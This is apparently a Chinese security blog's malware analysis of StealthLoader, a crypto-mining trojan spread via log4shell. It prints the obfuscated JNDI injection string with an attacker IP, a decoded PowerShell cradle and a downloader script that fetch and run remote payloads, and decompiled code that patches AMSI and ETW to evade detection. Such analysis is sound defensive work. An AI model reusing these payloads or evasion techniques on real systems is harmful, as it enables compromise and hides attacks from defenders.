<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    利用log4shell傳播的StealthLoader病毒分析

    VSole2021-12-19 06:19:07

    概述

    最近log4j爆出重大安全漏洞CVE-2021-44228(也被稱為log4shell)。在觀測了一系列利用log4shell攻擊的活動后,安全研究人員捕獲了一批新樣本,其中包括StealthLoader。該木馬病毒利用宿主機進行挖礦,并嘗試逃避探測

    漏洞利用方式分析

    攻擊者采用了一定的混淆方法繞過了防火墻

    https://xxx.xxx.xxx/index?
    id=${$[::-j]${::-n]${::-d]Sc-i]:S{::-JS{::-d]${::-a}${::-p}://2.56.59[.]123:1389/Basic/Command/Base64,cG93ZXJzaGVsbCAtYyBpZXggKCggTmV3LU9iamVjdCBTeXNOZXQuTmV0LldlYkNsaWVudCApLkRvd25sb2FkU3RyaW5nKCdodHRwczovL3RleHRiaW4ubmV0L3Jhdy8wbDhoNHh1dnhlJykp}
    

    base64解碼得到

    powershell -c iex (( New-Object SysNet.Net.WebClient ).DownloadString('https://textbin.net/raw/0l8h4xuvxe'))
    

    去textbin下載了一個字符串并執行

    0l8h4xuvxe分析

    $a="http://2.56.59.123/setup.exe";
    $b="c:\windows\temp\setup.exe";
    $c = "c:\users\public\setup.exe";
    Import-Module BitsTransfer;
    try{
        (New-Object System.Net.WebClient).DownloadFile($a, $b);
        Start-Process -FilePath $b;
        exit;
    }catch{};
    try{
        Start-BitsTransfer -Source $a -Destination $b;
        Start-Process -FilePath $b;
        exit;
    }catch{};
    try{
        (New-Object System.Net.WebClient).DownloadFile($a, $c);
        Start-Process -FilePath $c;
        exit;
    }catch{};
    try{
        Start-BitsTransfer -Source $a -Destination $c;
        Start-Process -FilePath $c;
        exit;
    }catch{}
    

    獲取了setup.exe,并且下載到兩個地方,然后創建進程。目前下載服務器以及無法訪問。

    這里值得注意的是,同時采用了c#內置類和Start-BitsTransfer兩種方式下載,增加下載成功率

    setup.exe分析

    扔進各種云沙箱試一試

    先丟進peid走一波~

    是一個由C#寫成的病毒文件,并且有混淆

    丟進dnspy,找到入口點

    private static void DatabaseExists(string[] objectInstance)
      {
       NamespaceData.SearchResultReferenceCollection searchResultReferenceCollection = new NamespaceData.SearchResultReferenceCollection();
       string isForwarder = NamespaceData.get_IsForwarder(); // 獲取隨機字串,這個字符串也是固定的,使用NamespaceData.PropertiesInError相關作為種子,初始化為空串
       string fileName = Process.GetCurrentProcess().MainModule.FileName;
       string str = Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System", "SystemBiosVersion", "0").ToString();
       object value = Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", "ProcessorNameString", "0"); // 獲取計算機相關信息
       NamespaceData.PropertiesInError = str + ((value != null) ? value.ToString() : null);
       int num = BitConverter.ToInt32(SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(NamespaceData.PropertiesInError)), 0); // 由于計算機信息固定,所以每次計算的隨機數也是固定的
       searchResultReferenceCollection.CommandField_DefaultCancelCaption = new Random(num + 5);
       string name = new string(Enumerable.Repeat<string>("abcdefghijklmnopqrstuvwxyz", 5).Select(new Func<string, char>(searchResultReferenceCollection.VisitClientParameter)).ToArray<char>());// 產生的name也是固定的
       try
       {
        Mutex.OpenExisting(name); // 創建互斥體
        Environment.Exit(0);
       }
       catch
       {
       }
       Process process = new Process();
       if (!fileName.Contains(isForwarder))
       {
        File.Copy(fileName, "c:\\windows\\temp\\" + isForwarder + ".exe", true); // 復制文件
        process.StartInfo.FileName = "c:\\windows\\temp\\" + isForwarder + ".exe";
        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; // 隱藏窗體
        process.StartInfo.CreateNoWindow = true; 
        process.Start(); // 開始進程
        return;
       }
       process.StartInfo.FileName = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe";
       process.StartInfo.Arguments = "/U " + Process.GetCurrentProcess().MainModule.FileName;
       process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
       process.StartInfo.CreateNoWindow = true;
       process.Start(); // 啟動InstallUtil.exe
       Thread.Sleep(5000); // 對抗沙箱
       bool flag = false;
       Process[] processes = Process.GetProcesses();
       for (int i = 0; i < processes.Length; i++)
       {
        if (processes[i].ProcessName.ToLower().Contains("installutil"))
        {
         flag = true;
        }
       }
       if (!flag)
       {
        NamespaceData.InternalInitSortHandle();
       }
      }
    

    可以看到,樣本首先獲取一個固定的字符串,然后獲取系統信息,利用系統信息創建新的種子,這樣每次獲取到的字符串都是一樣的。然后打開一個隨機串代表的互斥體,但是這個互斥體一定是不存在的,所以利用異常控制流來到了下面的代碼。

    然后開始創建進程,首先將自身復制到temp目錄下,啟動那個進程,而自己則退出

    另一個進程啟動后,則繼續執行下面的操作,比如啟動installutil.exe安裝程序,否則就執行NamespaceData.InternalInitSortHandle方法

    public static void InternalInitSortHandle()
      {
       NamespaceData.Point3DCollection point3DCollection = new NamespaceData.Point3DCollection();
       NamespaceData.DefaultStartChar = Process.GetCurrentProcess().Handle;
       NamespaceData.get_ObjectStateEntry_CannotModifyKeyEntryState();
       NamespaceData.set_DataFormatString();
       Thread.Sleep(1000);
       byte[] rawAssembly = NamespaceData.Write_unsignedByte(NamespaceData.get_UCS4_3412(Convert.FromBase64String("AWaovEI5EN1fKw8MYjzNpjzWUaFLWXMMI4tmB2KTu7s="), CompiledXpathExpr.ChannelPoolKey).ToArray<byte>());
       point3DCollection.PnrpPortBlocked = Assembly.Load(rawAssembly);
       new Thread(new ThreadStart(point3DCollection.set_ActiveButton)).Start();
       for (;;)
       {
        Console.ReadKey(true); // 阻塞并防止CPU占用過高
       }
      }
    

    先執行了set_DataFormatString

    private static void set_DataFormatString()
      {
       try
       {
        IntPtr intPtr = NamespaceData.ReValidateManifestSignatures(NamespaceData.set_CreateNoWindow(NamespaceData.DisconnectTransaction("dpvl1goo")), NamespaceData.DisconnectTransaction("DpvlVfdqExiihu"));
                    // 這里ReValidateManifestSignatures是DllImport導入的一個函數,DisconnectTransaction是字符串解密函數
                    // amsi.dll AmsiScanBuffer
        byte[] array;
        if (!NamespaceData.get_CustomMetadataNames())
        {
         RuntimeHelpers.InitializeArray(array = new byte[8], fieldof(IconBitmapDecoder.AppSequenceMessageNumber).FieldHandle);
        }
        else
        {
         RuntimeHelpers.InitializeArray(array = new byte[6], fieldof(IconBitmapDecoder.WebPartDisplayModeCollection_DuplicateName).FieldHandle);
        }
        byte[] array2 = array;
        uint dwObjectType;
        NamespaceData..Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array2.Length)), 64U, out dwObjectType);
        Marshal.Copy(array2, 0, intPtr, array2.Length);
        uint num;
        NamespaceData..Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array2.Length)), dwObjectType, out num);
       }
       catch
       {
       }
      }
    

    將amsi.dll的AmsiScanBuffer更改成了如下指令

    0x0: mov eax, 0x80070057
    0x5: ret
    

    然后執行了一段匯編代碼

    通過調試,發現調用了這里

    private static void get_ObjectStateEntry_CannotModifyKeyEntryState()
      {
       try
       {
        IntPtr intPtr = NamespaceData.ReValidateManifestSignatures(NamespaceData.set_CreateNoWindow(NamespaceData.DisconnectTransaction("qwgoo1goo")), NamespaceData.DisconnectTransaction("HwzHyhqwZulwh"));
                    // ntdll.dll EtwEventWrite
        byte[] array2;
        if (!NamespaceData.get_CustomMetadataNames())
        {
         byte[] array = new byte[3];
         array[0] = 194;
         array2 = array;
         array[1] = 20;
        }
        else
        {
         (array2 = new byte[1])[0] = 195;
        }
        byte[] array3 = array2;
        uint dwObjectType;
        NamespaceData..Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array3.Length)), 64U, out dwObjectType);
        IntPtr intPtr2;
        bool flag = NamespaceData.get_GroupAggBasedExpression(NamespaceData.DefaultStartChar, intPtr, array3, array3.Length, out intPtr2);
        uint num;
        NamespaceData..Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array3.Length)), dwObjectType, out num);
       }
       catch
       {
       }
      }
    

    上面的函數名帶有混淆性質,查看DllImport如下

            [DllImport("kernel32.dll", EntryPoint = "VirtualProtectEx")]
      private static extern bool .Subscribe>b__7_0(IntPtr inputLanguage, IntPtr pixelsC, UIntPtr Op, uint dwObjectType, out uint show);
      // Token: 0x06000004 RID: 4
      [DllImport("kernel32", EntryPoint = "LoadLibrary")]
      private static extern IntPtr set_CreateNoWindow(string typedMessage);
      // Token: 0x06000005 RID: 5
      [DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory", SetLastError = true)]
      private static extern bool get_GroupAggBasedExpression(IntPtr collectionOfEntityType, IntPtr cbReturn, byte[] totalBytesToSend, int stateGraph, out IntPtr lpPrefixString);
      // Token: 0x06000006 RID: 6
      [DllImport("kernel32", EntryPoint = "GetProcAddress")]
      private static extern IntPtr ReValidateManifestSignatures(IntPtr locKeys, string KeyPair);
    

    先更改了一些屬性,然后將ntdll.dll的EtwEventWrite的第一條指令改為ret

    行為分析

    由于靜態分析過于復雜,這里使用火絨進行行為分析,火絨監控到了病毒的釋放


    根據參考文獻[6],該病毒會竊取信息、遠程控制等。

    重新調試了以下,上面寫入匯編代碼的地方就是釋放病毒的地方,因為嘗試保存rawAssembly數組進行分析時火絨檢測到了病毒。

    總結

    經過分析,發現樣本中各種函數名、類名都是有誤導性質的,這大大干擾了分析工作。并且采用了多種方式比如延時執行、更改dll等方式來對抗沙盒和人工分析。

    參考資料

    [1] https://research.checkpoint.com/2021/stealthloader-malware-leveraging-log4shell/

    [2] https://docs.microsoft.com/en-us/dotnet/api/system.threading.mutex.openexisting?view=net-6.0#:~:text=The%20example%20uses%20the%20OpenExisting%20%28String%29%20method%20overload,to%20read%20and%20change%20permissions%20on%20the%20mutex.

    [3] https://docs.microsoft.com/en-us/dotnet/api/system.random?view=net-6.0

    [4] https://docs.microsoft.com/en-us/windows/win32/devnotes/etweventwrite

    [5] https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory#:~:text=WriteProcessMemory%20copies%20the%20data%20from%20the%20specified%20buffer,to%20be%20written%20to%20can%20call%20the%20function.

    [6] https://www.pcthreat.com/parasitebyid-22682en.html

    string
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    如果你不是 Java8 的釘子戶,你應該早就發現了:String 類的源碼已經由 char[] 優化為了 byte[] 來存儲字符串內容,為什么要這樣做呢? 開門見山地說,從 char[] 到 byte[],最主要的目的是為了節省字符串占用的內存 。內存占用減少帶來的另外一個好處,就是 GC 次數也會減少。
    Adobe已經發布了一個名為Stringlifier的開源工具,該工具允許用戶識別任何純文本中隨機生成的字符串,該工具可用于清理日志。Stringlifier工具是用Python編寫的,它使用機器學習來識別插入普通文本中的隨機字符序列。開源工具可用于出于多種目的分析日志,例如研究意外暴露的憑證。Stringlifier能夠在源代碼或配置文件中查找API密鑰,哈希,隨機生成的字符串,包括密碼,日志。Adobe在Github上發布的描述中寫道。
    介紹Runtime 是一系列采用 C++ 語言編寫的功能方法,它實現了大量 JavaScript 運行期間需要的 native 功能。本文分析 Runtime_StringToArray 方法的源碼和重要數據結構,講解 Runtime_StringToArray 方法的觸發條件。
    介紹Runtime 是一系列采用 C++ 語言編寫的功能方法,它實現了大量 JavaScript 運行期間需要的 native 功能。
    通過common-collection相關gadget,想辦法調用org.mozilla.classfile.DefiningClassLoader這個類去加載字節碼。然后通過T3協議的反序列化漏洞發送給待攻擊weblogic服務器。
    舉個例子:但是對于64位的來說 ROPgadget預設的長度是不夠的。所以,我們可以使用ROPgadget --binary ./b --depth 100來加深他的搜索深度。2利用_libc_csu_init制造ROP常規方法我們前面說的利用ROPgadget來尋找,大多都是找到直接設置某個寄存器的rop,當然也可以使用--ropchain這個參數。
    一般情況下類與類之間是相互獨立的,內部類的意思就是打破這種獨立思想,讓一個類成為另一個類的內部信息,和成員變量、成員方法同等級別。「內部類的好處:」把一個類寫在外面和寫在里面最終達到的結果都一樣,那我們為什么還要使用內部類,豈不是多此一舉嗎?
    當被問及網絡間諜是否成功時,愛德華·斯金格表示,他非常有信心地確信,除了國防學院本身,沒有任何其他危害行為。斯金格接受采訪時透露,本次攻擊看起來不像是一次暴力攻擊,但有代價。國防學院立即意識到它可能已成為敵對國家在灰色地帶式網絡攻擊中的目標的可能性。官方迅速采取了行動,對更廣泛的國防部IT網絡沒有影響。
    java安全-02RMI
    2022-03-25 15:35:13
    基礎知識動態代理反射攻擊方式注冊端攻擊服務端java -cp .\ysoserial-master-8eb5
    MISC中常用python腳本
    2021-09-20 20:26:46
    MISC中常用python腳本總結
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类